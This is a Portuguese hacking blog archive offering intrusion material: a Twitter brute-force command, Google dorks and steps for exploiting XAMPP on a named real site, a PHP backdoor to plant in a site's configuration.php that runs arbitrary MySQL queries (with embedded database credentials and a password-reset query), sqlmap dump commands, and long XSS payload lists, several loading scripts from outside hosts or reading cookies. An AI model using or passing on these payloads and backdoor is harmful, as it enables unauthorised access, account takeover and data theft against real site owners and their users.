http://skamason.com/7b9R

http://skamason.com/7b9R
Mostrando postagens com marcador Hacking. Mostrar todas as postagens
Mostrando postagens com marcador Hacking. Mostrar todas as postagens

domingo, 18 de outubro de 2015

Bypass Ftp Login No Wordpress

Hello Hackers.

Whats Up ?

Hoje Irei Ensinar a Vocês Como Contornar Quando o Ftp Login Esta Ativo No Wordpress.

Até a Próxima.

NeoInvasorBCA



Postado por às Um comentário:
Marcadores: , ,

segunda-feira, 6 de outubro de 2014

Vírus de USB

Codigo é divulgado sobre o vírus que infecta qualquer usb

 Karsten Nohl revelou uma falha na tecnologia USB que permitiria infectar qualquer pendrive, mouse ou teclado com um vírus , este código foi publicado na rede, permitindo que qualquer um tenha acesso às ferramentas necessárias para infectar os outros. 
dois outros pesquisadores, Adam Caudill e Brandon Wilson conseguiram obter os mesmos resultados e resolveram expor a vulnerabilidade.
Segue abaixo o conteudo  no link


https://github.com/adamcaudill/Psychson


Lembrando que o conteúdo esta aberto a todos que estudam segurança de T.I e fica por conta e risco o uso dessas informações.



xoxo
Postado por às Nenhum comentário:
Marcadores:

segunda-feira, 26 de maio de 2014

Brute force Twitter

Um Brute force para contas do Twitter


python tw.py email-da-vitima wordlist.txt 




Brute Tw Download


 xoxo
Postado por às Nenhum comentário:
Marcadores: ,

domingo, 22 de dezembro de 2013

XAMPP Local Write Access Vulnerability



Dorks:
allinurl:/xampp/index.php
inurl:/xampp/index.php intitle:XAMPP version 1.7
(ganti version 1.7 dengan version yang lain)

Passos:
1. Copiar e Colar a Dork No Campo De Busca Do Google.
2. Encontre Um Dos Alvos, e Substituir a Url Assim:


http://beverwijk.inboedelwinkel.nl/xampp/index.php

Logo Você Vai Substituir Ficando a Sim.


http://beverwijk.inboedelwinkel.nl/xampp/lang.php?NeoInvasor

Então Ele Vai Emitir Uma Mensagem De Erro. Agora So Basta Substituir Sua Url Ficando a Sim.

http://beverwijk.inboedelwinkel.nl/xampp/lang.tmp

Em Seguida Ficara Parecido Como Este.
Postado por às Nenhum comentário:
Marcadores:

sábado, 26 de outubro de 2013

Instalando Backdoor Em Mysql

Neste artigo vou mostrar como instalar e executar o backdoor no comando e fazer o upload shell

1.First você precisa shell e editar arquivo configuration.php

Por exemplo: http://www.website.com

2. editar configuration.php arquivo e adicionar a este código de usuário e passar e .. ao código-fonte de Down


3. salvar arquivo configuration.php


4. arquivo de configuração aberta e barra de endereços e adicione o endereço esse código? cmd = mysql & query =

Por exemplo: http://www.site.com/configuration.php?cmd=mysql&query =

5. você pode atualizar o banco de dados mysql e comando executado
Por exemplo: http://www.site.com/configuration.php?cmd=mysql&query = SELECT * FROM jos_users atualização jos_users senha set = 'eae778eac6f9a329d3423880227d5dda: xZmZbqy XTL3ho2p0vFKPJHRMvWM5KpFa' where id = 62
<?php
if ($_GET['cmd']=='mysql')
{

$dbhost = "localhost";
$dbname = "thegapuc_gapuc";
$dbuser = "thegapuc_admin";
$dbpasswd = "GaPuc1050W";

if(get_magic_quotes_gpc())
$query = stripslashes($_GET['query']);
else
$query = $_GET['query'];

$dbh = mysql_connect($dbhost, $dbuser, $dbpasswd) or die("Unable to connect to MySQL Server");
$selected = mysql_select_db($dbname,$dbh);
$result = mysql_query($query);

if(!$result) die("Nothing Returned.<br><br>" . mysql_error());

// results
echo "<html>\r\n". strtoupper($query) . "<br>\r\n<table border =\"1\">\r\n";

$count = 0;
while ($row = mysql_fetch_assoc($result))
{
echo "<tr>\r\n";

if ($count==0) // list column names
{
echo "<tr>\r\n";
while($key = key($row))
{
echo "<td><b>" . $key . "</b></td>\r\n";
next($row);
}
echo "</tr>\r\n";
}

foreach($row as $r) // list content of column names
{
if ($r=='') $r = '<font color=red>NULL</font>';
echo "<td>" . $r . "</td>\r\n";
}
echo "</tr>\r\n";
$count++;
}
echo "</table>\n\r" . $count . " rows returned.\r\n</html>";
}
?>

Thanks.. 
Postado por às Nenhum comentário:
Marcadores:

terça-feira, 9 de julho de 2013

SQL Map- Kali Linux

Eae galera, hoje irei passar os comandos basicos para usar o sql map no Kali Linux

Vimos que os comandos nao mudaram apenas tiramos as apas e escrevemos os comandos diretamente facilitando bastante o trabalho
Abra o Terminal Digite:

cd /usr/share/sqlmap

comandos:

sqlmap.py -u url --dbs

sqlmap.py -u url -D  --tables

sqlmap.py -u url -D  -T  --columns

sqlmap.py -u url -D -T -C  --dump


- A url nao precisa mais estar entre aspas ' '

-D : bd
-T : tabelas
-C : colunas
-dump : pega todo o bd


Postado por às Nenhum comentário:
Marcadores: , , ,

sexta-feira, 5 de julho de 2013

Bypass COMODO SECURITY ANTI-VIRUS


Postado por às Nenhum comentário:
Marcadores:

Ferramenta B.Autopwn Msfc0d3r_Expl01t




uma pequena ferramenta interpretada em Perl para facilitar a vida de pentest
by : Msfc0d3r_ExPl01t
download ferramenta:
http://www.ziddu.com/download/2005405...
use com medoreção
Postado por às Nenhum comentário:
Marcadores:

Ferramenta Msfc0d3rGT (Gerador De Payload)


Postado por às Nenhum comentário:
Marcadores:

Como personalizar o Backtrack 5 R3 by: Msfc0d3r


Postado por às Nenhum comentário:
Marcadores:

sexta-feira, 29 de março de 2013

Joomla Brute Force e Upando Uma Shell


Postado por às Um comentário:
Marcadores:

quarta-feira, 27 de março de 2013

Cpanel Brute Force - NeoInvasor


Postado por às Nenhum comentário:
Marcadores:

Wordpress Upload Shell Bypass - NeoInvasor


Postado por às Nenhum comentário:
Marcadores:

Joomla Upload Shell Bypass By NeoInvasor


Postado por às Nenhum comentário:
Marcadores:

sábado, 23 de fevereiro de 2013

XSS Bypassing

    XSS Locators:
           
    XSS<-->/\'="
     
    ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
     
    '';!--"<XSS>=&{()}
     
     
     
    The ol’e basic:
     
    “><script >alert(document.cookie)</script>
     
    Bypass filter when it strips <script> tags:
     
    %253cscript%253ealert(document.cookie)%253c/script%253e
     
    “><s”%2b”cript>alert(document.cookie)</script>
     
    “><ScRiPt>alert(document.cookie)</script>
     
    “><<script>alert(document.cookie);//<</script>
     
    foo%00<script>alert(document.cookie)</script>
     
    <scr<script>ipt>alert(document.cookie)</scr</script>ipt>
     
    %22/%3E%3CBODY%20onload=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)’%3E
     
    When inside <script> tags:
     
    ‘; alert(document.cookie); var foo=’
     
    foo\’; alert(document.cookie);//’;
     
    </script><script >alert(document.cookie)</script>
     
    Other XSS that don’t require <script>:
     
    <img src=asdf onerror=alert(document.cookie)>
     
    <BODY ONLOAD=alert(’XSS’)>
     
    On IE, many tags will accept a style attribute that one could do things with:
     
    http://www.site.com?image=s%22%20style=x:expression(alert(document.cookie))
     
    http://www.site.com?image=s%22%20style=%22background:url(javascript:alert(’XSS’))
     
    http://www.site.com?image=s%22%20%22+STYLE%3D%22background-image%3A+expression%28alert%28%27XSS%3F%29%29
     
    In FF if you control the content attribute of a refresh meta tag, you can inject a URL that uses the javascript: protocol:
     
    http://www.site.com?catCode=%22/%3E%3Cmeta%20http-equiv=refresh%20content=0;javascript:alert(document.cookie);>
     
    XSS in JPEGs:
     
    Don’t forget if a user requests a JPEG file in IE directly (not through an embedded <img> tag), then IE will process the contents as HTML if that is what the JPEG contains. This means that we can upload a file with a .jpg extension containing a XSS payload. This works nicely when we have an application that has functionality to upload images and then gets viewed by others. This is common in web mail applications, where one can send an email containing an image attachment, etc. Many applications sanitize HTML attachments to block XSS attacks, but overlook the way IE handles JPEG files.
     
    Example:
     
    HTTP/1.1 200 OK
     
    Date: Sun, 6 May 2007 11:32:35 GMT
     
    Server: Apache
     
    Content-Length: 39
     
    Content-Type: image/jpeg
     
    <script>alert(document.cookie)</script>
Postado por às Nenhum comentário:
Marcadores:

XSS Syntax's

    1. "><SCRIPT+SRC=http://cim.edu.ph/.../xss.js></SCRIPT>
    2.  
    3. '';!--"<XSS>=&{()}
    4.  
    5. '>//\\,<'>">">"*"
    6.  
    7. '); alert('XSS
    8.  
    9. <script>alert(1);</script>
    10.  
    11. <script>alert('XSS');</script>
    12.  
    13. <IMG SRC="javascript:alert('XSS');">
    14.  
    15. <IMG SRC=javascript:alert('XSS')>
    16.  
    17. <IMG SRC=javascript:alert('XSS')>
    18.  
    19. <IMG SRC=javascript:alert(&quot;XSS&quot;)>
    20.  
    21. <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
    22.  
    23. <scr<script>ipt>alert('XSS');</scr</script>ipt>
    24.  
    25. <script>alert(String.fromCharCode(88,83,83))</script>
    26.  
    27. <img src=foo.png onerror=alert(/xssed/) />
    28.  
    29. <style>@im\port'\ja\vasc\ript:alert(\"XSS\")';</style>
    30.  
    31. <? echo('<scr)'; echo('ipt>alert(\"XSS\")</script>'); ?>
    32.  
    33. <marquee><script>alert('XSS')</script></marquee>
    34.  
    35. <IMG SRC=\"jav&#x09;ascript:alert('XSS');\">
    36.  
    37. <IMG SRC=\"jav&#x0A;ascript:alert('XSS');\">
    38.  
    39. <IMG SRC=\"jav&#x0D;ascript:alert('XSS');\">
    40.  
    41. <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
    42.  
    43. "><script>alert(0)</script>
    44.  
    45. <script src=http://yoursite.com/your_files.js></script>
    46.  
    47. </title><script>alert(/xss/)</script>
    48.  
    49. </textarea><script>alert(/xss/)</script>
    50.  
    51. <IMG LOWSRC=\"javascript:alert('XSS')\">
    52.  
    53. <IMG DYNSRC=\"javascript:alert('XSS')\">
    54.  
    55. <font style='color:expression(alert(document.cookie))'>
    56.  
    57. <img src="javascript:alert('XSS')">
    58.  
    59. <script language="JavaScript">alert('XSS')</script>
    60.  
    61. <body onunload="javascript:alert('XSS');">
    62.  
    63. <body onLoad="alert('XSS');"
    64.  
    65. [color=red' onmouseover="alert('xss')"]mouse over[/color]
    66.  
    67. "/></a></><img src=1.gif onerror=alert(1)>
    68.  
    69. window.alert("Bonjour !");
    70.  
    71. <div style="x:expression((window.r==1)?'':eval('r=1;
    72.  
    73. alert(String.fromCharCode(88,83,83));'))">
    74.  
    75. <iframe<?php echo chr(11)?> onload=alert('XSS')></iframe>
    76.  
    77. "><script alert(String.fromCharCode(88,83,83))</script>
    78.  
    79. '>><marquee><h1>XSS</h1></marquee>
    80.  
    81. '">><script>alert('XSS')</script>
    82.  
    83. '">><marquee><h1>XSS</h1></marquee>
    84.  
    85. <META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">
    86.  
    87. <META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">
    88.  
    89. <script>var var = 1; alert(var)</script>
    90.  
    91. <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
    92.  
    93. <?='<SCRIPT>alert("XSS")</SCRIPT>'?>
    94.  
    95. <IMG SRC='vbscript:msgbox(\"XSS\")'>
    96.  
    97. " onfocus=alert(document.domain) "> <"
    98.  
    99. <FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>
    100.  
    101. <STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS
    102.  
    103. perl -e 'print \"<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>\";' > out
    104.  
    105. perl -e 'print \"<IMG SRC=java\0script:alert(\"XSS\")>\";' > out
    106.  
    107. <br size=\"&{alert('XSS')}\">
    108.  
    109. <scrscriptipt>alert(1)</scrscriptipt>
    110.  
    111. </br style=a:expression(alert())>
    112.  
    113. </script><script>alert(1)</script>
    114.  
    115. "><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
    116.  
    117. [color=red width=expression(alert(123))][color]
    118.  
    119. <BASE HREF="javascript:alert('XSS');//">
    120.  
    121. Execute(MsgBox(chr(88)&chr(83)&chr(83)))<
    122.  
    123. "></iframe><script>alert(123)</script>
    124.  
    125. <body onLoad="while(true) alert('XSS');">
    126.  
    127. '"></title><script>alert(1111)</script>
    128.  
    129. </textarea>'"><script>alert(document.cookie)</script>
    130.  
    131. '""><script language="JavaScript"> alert('X \nS \nS');</script>
    132.  
    133. </script></script><<<<script><>>>><<<script>alert(123)</script>
    134.  
    135. <html><noalert><noscript>(123)</noscript><script>(123)</script>
    136.  
    137. <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
    138.  
    139. '></select><script>alert(123)</script>
    140.  
    141. '>"><script src = 'http://www.site.com/XSS.js'></script>
    142.  
    143. }</style><script>a=eval;b=alert;a(b(/XSS/.source));</script>
    144.  
    145. <SCRIPT>document.write("XSS");</SCRIPT>
    146.  
    147. a="get";b="URL";c="javascript:";d="alert('xss');";eval(a+b+c+d);
    148.  
    149. ='><script>alert("xss")</script>
    150.  
    151. <script+src=">"+src="http://yoursite.com/xss.js?69,69"></script>
    152.  
    153. <body background=javascript:'"><script>alert(navigator.userAgent)</script>></body>
    154.  
    155. ">/XaDoS/><script>alert(document.cookie)</script><script src="http://www.site.com/XSS.js"></script>
    156.  
    157. ">/KinG-InFeT.NeT/><script>alert(document.cookie)</script>
    158.  
    159. src="http://www.site.com/XSS.js"></script>
    160.  
    161. data:text/html;charset=utf-7;base64,Ij48L3RpdGxlPjxzY3JpcHQ+YWxlcnQoMTMzNyk8L3NjcmlwdD4=
    162.  
    163. !--" /><script>alert('xss');</script>
    164.  
    165. <script>alert("XSS by \nxss")</script><marquee><h1>XSS by xss</h1></marquee>
    166.  
    167. "><script>alert("XSS by \nxss")</script>><marquee><h1>XSS by xss</h1></marquee>
    168.  
    169. '"></title><script>alert("XSS by \nxss")</script>><marquee><h1>XSS by xss</h1></marquee>
    170.  
    171. <img """><script>alert("XSS by \nxss")</script><marquee><h1>XSS by xss</h1></marquee>
    172.  
    173. <script>alert(1337)</script><marquee><h1>XSS by xss</h1></marquee>
    174.  
    175. "><script>alert(1337)</script>"><script>alert("XSS by \nxss</h1></marquee>
    176.  
    177. '"></title><script>alert(1337)</script>><marquee><h1>XSS by xss</h1></marquee>
    178.  
    179. <iframe src="javascript:alert('XSS by \nxss');"></iframe><marquee><h1>XSS by xss</h1></marquee>
    180.  
    181.  
    182.  
    183. '><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT><img src="" alt='
    184. "><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT><img src="" alt="
    185. \'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT><img src="" alt=\'
    186.  
    187.  
    188.  
    189.  
    190.  
    191.  
    192.  
    193.  
    194.  
    195.  
    196.  
    197.  
    198. http://www.simpatie.ro/index.php?page=friends&member=781339&javafunctionname=Pageclick&javapgno=2 javapgno=2 ??XSS??
    199.  
    200. http://www.simpatie.ro/index.php?page=top_movies&cat=13&p=2 p=2 ??XSS??
    201. '); alert('xss'); var x='
    202. \\'); alert(\'xss\');var x=\'
    203. //--></SCRIPT><SCRIPT>alert(String.fromCharCode(88,83,83));
    204.  
    205.  
    206. >"><ScRiPt%20%0a%0d>alert(561177485777)%3B</ScRiPt>
    207.  
    208.  
    209. <html>
    210. <head><title>p3Lo thx Mario Heiderich work</title></title>
    211. <body>
    212. SVG XSS onerror trough data protocol
    213. <img src="Mario Heiderich says that svg SHOULD not be executed trough image tags" onerror="javascript:document.write('\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u0020\u0073\u0072\u0063\u003d\u0022\u0064\u0061\u0074\u0061\u003a\u0069\u006d\u0061\u0067\u0065\u002f\u0073\u0076\u0067\u002b\u0078\u006d\u006c\u003b\u0062\u0061\u0073\u0065\u0036\u0034\u002c\u0050\u0048\u004e\u0032\u005a\u0079\u0042\u0034\u0062\u0057\u0078\u0075\u0063\u007a\u0030\u0069\u0061\u0048\u0052\u0030\u0063\u0044\u006f\u0076\u004c\u0033\u0064\u0033\u0064\u0079\u0035\u0033\u004d\u0079\u0035\u0076\u0063\u006d\u0063\u0076\u004d\u006a\u0041\u0077\u004d\u0043\u0039\u007a\u0064\u006d\u0063\u0069\u0050\u0069\u0041\u0067\u0043\u0069\u0041\u0067\u0049\u0044\u0078\u0070\u0062\u0057\u0046\u006e\u005a\u0053\u0042\u0076\u0062\u006d\u0078\u0076\u0059\u0057\u0051\u0039\u0049\u006d\u0046\u0073\u005a\u0058\u004a\u0030\u004b\u0044\u0045\u0070\u0049\u006a\u0034\u0038\u004c\u0032\u006c\u0074\u0059\u0057\u0064\u006c\u0050\u0069\u0041\u0067\u0043\u0069\u0041\u0067\u0049\u0044\u0078\u007a\u0064\u006d\u0063\u0067\u0062\u0032\u0035\u0073\u0062\u0032\u0046\u006b\u0050\u0053\u004a\u0068\u0062\u0047\u0056\u0079\u0064\u0043\u0067\u0079\u004b\u0053\u0049\u002b\u0050\u0043\u0039\u007a\u0064\u006d\u0063\u002b\u0049\u0043\u0041\u004b\u0049\u0043\u0041\u0067\u0050\u0048\u004e\u006a\u0063\u006d\u006c\u0077\u0064\u0044\u0035\u0068\u0062\u0047\u0056\u0079\u0064\u0043\u0067\u007a\u004b\u0054\u0077\u0076\u0063\u0032\u004e\u0079\u0061\u0058\u0042\u0030\u0050\u0069\u0041\u0067\u0043\u0069\u0041\u0067\u0049\u0044\u0078\u006b\u005a\u0057\u005a\u007a\u0049\u0047\u0039\u0075\u0062\u0047\u0039\u0068\u005a\u0044\u0030\u0069\u0059\u0057\u0078\u006c\u0063\u006e\u0051\u006f\u004e\u0043\u006b\u0069\u0050\u006a\u0077\u0076\u005a\u0047\u0056\u006d\u0063\u007a\u0034\u0067\u0049\u0041\u006f\u0067\u0049\u0043\u0041\u0038\u005a\u0079\u0042\u0076\u0062\u006d\u0078\u0076\u0059\u0057\u0051\u0039\u0049\u006d\u0046\u0073\u005a\u0058\u004a\u0030\u004b\u0044\u0055\u0070\u0049\u006a\u0034\u0067\u0049\u0041\u006f\u0067\u0049\u0043\u0041\u0067\u0049\u0043\u0041\u0067\u0050\u0047\u004e\u0070\u0063\u006d\u004e\u0073\u005a\u0053\u0042\u0076\u0062\u006d\u0078\u0076\u0059\u0057\u0051\u0039\u0049\u006d\u0046\u0073\u005a\u0058\u004a\u0030\u004b\u0044\u0059\u0070\u0049\u0069\u0041\u0076\u0050\u0069\u0041\u0067\u0043\u0069\u0041\u0067\u0049\u0043\u0041\u0067\u0049\u0043\u0041\u0038\u0064\u0047\u0056\u0034\u0064\u0043\u0042\u0076\u0062\u006d\u0078\u0076\u0059\u0057\u0051\u0039\u0049\u006d\u0046\u0073\u005a\u0058\u004a\u0030\u004b\u0044\u0063\u0070\u0049\u006a\u0034\u0038\u004c\u0033\u0052\u006c\u0065\u0048\u0051\u002b\u0049\u0043\u0041\u004b\u0049\u0043\u0041\u0067\u0050\u0043\u0039\u006e\u0050\u0069\u0041\u0067\u0043\u006a\u0077\u0076\u0063\u0033\u005a\u006e\u0050\u0069\u0041\u0067\u0022\u003e\u003c\u002f\u0069\u0066\u0072\u0061\u006d\u0065\u003e');"></img>
    214. </body>
    215. </html>
    216.  
    217.  
    218.  
    219.  
    220.  
    221.  
    222.  
    223.  
    224.  
    225. <SCRIPT>
    226.  
    227. The <SCRIPT> tag is the most popular way and sometimes easiest to detect. It can arrive to your page in the following forms:
    228.  
    229. External script:
    230.  
    231. <SCRIPT SRC=http://hacker-site.com/xss.js></SCRIPT>
    232.  
    233. Embedded script:
    234.  
    235. <SCRIPT> alert(“XSS”); </SCRIPT>
    236.  
    237. <BODY>
    238.  
    239. The <BODY> tag can contain an embedded script by using the ONLOAD event, as shown below:
    240.  
    241. <BODY ONLOAD=alert("XSS")>
    242.  
    243. The BACKGROUND attribute can be similarly exploited:
    244.  
    245. <BODY BACKGROUND="javascript:alert('XSS')">
    246.  
    247. <IMG>
    248.  
    249. Some browsers will execute a script when found in the <IMG> tag as shown here:
    250.  
    251. <IMG SRC="javascript:alert('XSS');">
    252.  
    253. There are some variations of this that work in some browsers:
    254.  
    255. <IMG DYNSRC="javascript:alert('XSS')">
    256. <IMG LOWSRC="javascript:alert('XSS')">
    257.  
    258. <IFRAME>
    259.  
    260. The <IFRAME> tag allows you to import HTML into a page. This important HTML can contain a script.
    261.  
    262. <IFRAME SRC=”http://hacker-site.com/xss.html”>
    263.  
    264. <INPUT>
    265.  
    266. If the TYPE attribute of the <INPUT> tag is set to “IMAGE”, it can be manipulated to embed a script:
    267.  
    268. <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
    269.  
    270. <LINK>
    271.  
    272. The <LINK> tag, which is often used to link to external style sheets could contain a script:
    273.  
    274. <LINK REL="stylesheet" HREF="javascript:alert('XSS');">
    275.  
    276. <TABLE>
    277.  
    278. The BACKGROUND attribute of the TABLE tag can be exploited to refer to a script instead of an image:
    279.  
    280. <TABLE BACKGROUND="javascript:alert('XSS')">
    281.  
    282. The same applies to the <TD> tag, used to separate cells inside a table:
    283.  
    284. <TD BACKGROUND="javascript:alert('XSS')">
    285.  
    286. <DIV>
    287.  
    288. The <DIV> tag, similar to the <TABLE> and <TD> tags can also specify a background and therefore embed a script:
    289.  
    290. <DIV STYLE="background-image: url(javascript:alert('XSS'))">
    291.  
    292. The <DIV> STYLE attribute can also be manipulated in the following way:
    293.  
    294. <DIV STYLE="width: expression(alert('XSS'));">
    295.  
    296. <OBJECT>
    297.  
    298. The <OBJECT> tag can be used to pull in a script from an external site in the following way:
    299.  
    300. <OBJECT TYPE="text/x-scriptlet" DATA="http://hacker.com/xss.html">
    301.  
    302. <EMBED>
    303.  
    304. If the hacker places a malicious script inside a flash file, it can be injected in the following way:
    305.  
    306.  
    307. <EMBED SRC="http://hacker.com/xss.swf" AllowScriptAccess="always">
    308.  
    309.  
    310.  
    311.  
    312.  
    313.  
    314.  
    315.  
    316.  
    317.  
    318.  
    319.  
    320.  
    321.  
    322.  
    323.  
    324.  
    325.  
    326.  
    327.  
    328.  
    329. &apos;;alert(String.fromCharCode(88,83,83))//\&apos;;alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&gt;&lt;/SCRIPT&gt;&quot;&gt;&apos;&gt;&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;
    330. &apos;&apos;;!--&quot;&lt;XSS&gt;=&amp;{()}
    331. &lt;SCRIPT&gt;alert(&apos;XSS&apos;)&lt;/SCRIPT&gt;
    332. &lt;SCRIPT SRC=http://ha.ckers.org/xss.js&gt;&lt;/SCRIPT&gt;
    333. &lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;
    334. &lt;BASE HREF=&quot;javascript:alert(&apos;XSS&apos;);//&quot;&gt;
    335. &lt;BGSOUND SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;
    336. &lt;BODY BACKGROUND=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;
    337. &lt;BODY ONLOAD=alert(&apos;XSS&apos;)&gt;
    338. &lt;DIV STYLE=&quot;background-image: url(javascript:alert(&apos;XSS&apos;))&quot;&gt;
    339. &lt;DIV STYLE=&quot;background-image: url(&amp;#1;javascript:alert(&apos;XSS&apos;))&quot;&gt;
    340. &lt;DIV STYLE=&quot;width: expression(alert(&apos;XSS&apos;));&quot;&gt;
    341. &lt;FRAMESET&gt;&lt;FRAME SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;&lt;/FRAMESET&gt;
    342. &lt;IFRAME SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;&lt;/IFRAME&gt;
    343. &lt;INPUT TYPE=&quot;IMAGE&quot; SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;
    344. &lt;IMG SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;
    345. &lt;IMG SRC=javascript:alert(&apos;XSS&apos;)&gt;
    346. &lt;IMG DYNSRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;
    347. &lt;IMG LOWSRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;
    348. &lt;IMG SRC=&quot;http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode&quot;&gt;
    349. Redirect 302 /a.jpg http://victimsite.com/admin.asp&amp;deleteuser
    350. exp/*&lt;XSS STYLE=&apos;no\xss:noxss(&quot;*//*&quot;);
    351. &lt;STYLE&gt;li {list-style-image: url(&quot;javascript:alert(&#39;XSS&#39;)&quot;);}&lt;/STYLE&gt;&lt;UL&gt;&lt;LI&gt;XSS
    352. &lt;IMG SRC=&apos;vbscript:msgbox(&quot;XSS&quot;)&apos;&gt;
    353. &lt;LAYER SRC=&quot;http://ha.ckers.org/scriptlet.html&quot;&gt;&lt;/LAYER&gt;
    354. &lt;IMG SRC=&quot;livescript:[code]&quot;&gt;
    355. %BCscript%BEalert(%A2XSS%A2)%BC/script%BE
    356. &lt;META HTTP-EQUIV=&quot;refresh&quot; CONTENT=&quot;0;url=javascript:alert(&apos;XSS&apos;);&quot;&gt;
    357. &lt;META HTTP-EQUIV=&quot;refresh&quot; CONTENT=&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&gt;
    358. &lt;META HTTP-EQUIV=&quot;refresh&quot; CONTENT=&quot;0; URL=http://;URL=javascript:alert(&apos;XSS&apos;);&quot;&gt;
    359. &lt;IMG SRC=&quot;mocha:[code]&quot;&gt;
    360. &lt;OBJECT TYPE=&quot;text/x-scriptlet&quot; DATA=&quot;http://ha.ckers.org/scriptlet.html&quot;&gt;&lt;/OBJECT&gt;
    361. &lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&gt;&lt;param name=url value=javascript:alert(&apos;XSS&apos;)&gt;&lt;/OBJECT&gt;
    362. &lt;EMBED SRC=&quot;http://ha.ckers.org/xss.swf&quot; AllowScriptAccess=&quot;always&quot;&gt;&lt;/EMBED&gt;
    363. a=&quot;get&quot;;&amp;#10;b=&quot;URL(&quot;&quot;;&amp;#10;c=&quot;javascript:&quot;;&amp;#10;d=&quot;alert(&apos;XSS&apos;);&quot;)&quot;;&#10;eval(a+b+c+d);
    364. &lt;STYLE TYPE=&quot;text/javascript&quot;&gt;alert(&apos;XSS&apos;);&lt;/STYLE&gt;
    365. &lt;IMG STYLE=&quot;xss:expr/*XSS*/ession(alert(&apos;XSS&apos;))&quot;&gt;
    366. &lt;XSS STYLE=&quot;xss:expression(alert(&apos;XSS&apos;))&quot;&gt;
    367. &lt;STYLE&gt;.XSS{background-image:url(&quot;javascript:alert(&apos;XSS&apos;)&quot;);}&lt;/STYLE&gt;&lt;A CLASS=XSS&gt;&lt;/A&gt;
    368. &lt;STYLE type=&quot;text/css&quot;&gt;BODY{background:url(&quot;javascript:alert(&apos;XSS&apos;)&quot;)}&lt;/STYLE&gt;
    369. &lt;LINK REL=&quot;stylesheet&quot; HREF=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;
    370. &lt;LINK REL=&quot;stylesheet&quot; HREF=&quot;http://ha.ckers.org/xss.css&quot;&gt;
    371. &lt;STYLE&gt;@import&apos;http://ha.ckers.org/xss.css&apos;;&lt;/STYLE&gt;
    372. &lt;META HTTP-EQUIV=&quot;Link&quot; Content=&quot;&lt;http://ha.ckers.org/xss.css&gt;; REL=stylesheet&quot;&gt;
    373. &lt;STYLE&gt;BODY{-moz-binding:url(&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;)}&lt;/STYLE&gt;
    374. &lt;TABLE BACKGROUND=&quot;javascript:alert(&apos;XSS&apos;)&quot;&gt;&lt;/TABLE&gt;
    375. &lt;TABLE&gt;&lt;TD BACKGROUND=&quot;javascript:alert(&apos;XSS&apos;)&quot;&gt;&lt;/TD&gt;&lt;/TABLE&gt;
    376. &lt;HTML xmlns:xss&gt;
    377. &lt;XML ID=I&gt;&lt;X&gt;&lt;C&gt;&lt;![CDATA[&lt;IMG SRC=&quot;javas]]&gt;&lt;![CDATA[cript:alert(&apos;XSS&apos;);&quot;&gt;]]&gt;
    378. &lt;XML ID=&quot;xss&quot;&gt;&lt;I&gt;&lt;B&gt;&lt;IMG SRC=&quot;javas&lt;!-- --&gt;cript:alert(&apos;XSS&apos;)&quot;&gt;&lt;/B&gt;&lt;/I&gt;&lt;/XML&gt;
    379. &lt;XML SRC=&quot;http://ha.ckers.org/xsstest.xml&quot; ID=I&gt;&lt;/XML&gt;
    380. &lt;HTML&gt;&lt;BODY&gt;
    381. &lt;!--[if gte IE 4]&gt;              
    382. &lt;META HTTP-EQUIV=&quot;Set-Cookie&quot; Content=&quot;USERID=&lt;SCRIPT&gt;alert(&apos;XSS&apos;)&lt;/SCRIPT&gt;&quot;&gt;
    383. &lt;XSS STYLE=&quot;behavior: url(http://ha.ckers.org/xss.htc);&quot;&gt;
    384. &lt;SCRIPT SRC=&quot;http://ha.ckers.org/xss.jpg&quot;&gt;&lt;/SCRIPT&gt;
    385. &lt;!--#exec cmd=&quot;/bin/echo &apos;&lt;SCRIPT SRC&apos;&quot;--&gt;&lt;!--#exec cmd=&quot;/bin/echo &apos;=http://ha.ckers.org/xss.js&gt;&lt;/SCRIPT&gt;&apos;&quot;--&gt;
    386. &lt;? echo(&apos;&lt;SCR)&apos;;
    387. &lt;BR SIZE=&quot;&amp;{alert(&apos;XSS&apos;)}&quot;&gt;
    388. &lt;
    389. &amp;#060
    390. &amp;#0060
    391. &amp;#00060
    392. &amp;#000060
    393. &amp;#0000060
    394. &amp;#60;
    395. &amp;#060;
    396. &amp;#0060;
    397. &amp;#00060;
